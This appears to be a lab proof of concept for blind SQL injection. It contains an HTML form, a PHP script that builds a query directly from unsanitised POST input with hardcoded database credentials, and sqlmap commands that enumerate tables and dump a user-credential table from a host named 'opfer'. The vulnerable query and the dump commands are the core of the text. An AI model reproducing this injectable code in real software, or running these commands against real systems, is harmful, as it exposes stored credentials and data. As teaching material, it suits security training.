SQL Blind Injection Proof of Concept

• cat blind.html

<!DOCTYPE html>
<html>
        <body>
                <h2>SQL Injection</h2>
                <form method="post" action="sql-blind.php">
                  <label for="fname">User</label><br>
                  <input type="text" name="search"><br>
                  <input type="submit" name="submit">
                </form> 
                <br>
                <table border = "1">
                        <tr>
                                <td>user</td>
                                <td>password</td>
                        </tr>
        </body>
</html>

• cat sql-blind.php

<?php
    $search=($_POST['search']);
    define('DB_SERVER', '127.0.0.1');
    define('DB_USERNAME', 'xinux');
    define('DB_PASSWORD', 'suxer');
    define('DB_NAME', 'verwaltung');
    $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    mysqli_set_charset($link, "utf8");
     if($link === false){
    echo(mysqli_connect_error());
    die("ERROR: Could not connect. " . mysqli_connect_error());
    }
    echo $search;
    $sql =" SELECT * FROM my_auth WHERE user='$search'";
    $result = mysqli_query($link, $sql);
?>

<!DOCTYPE html>
<html>
        <body>
                <h2>SQL Injection</h2>
                <table border = "1">
                        <tr>
                                <td>user</td>
                                <td>password</td>
                        </tr>
<?php
  while ($row = mysqli_fetch_row($result)) {
    echo "<tr>";
    echo "<td>".$row[0]." </td>";
    echo "<td>"."xxx"." </td><br>";
    echo "</tr>";
  }
?>

• sqlmap -u "http://opfer/scripts/sql-blind.php" --data="search=erwin" --technique=B
• sqlmap -u "http://opfer/scripts/sql-blind.php" --data="search=erwin" --technique=B --tables
• sqlmap -u "http://opfer/scripts/sql-blind.php" --data="search=erwin" -D verwaltung -T my_auth --dump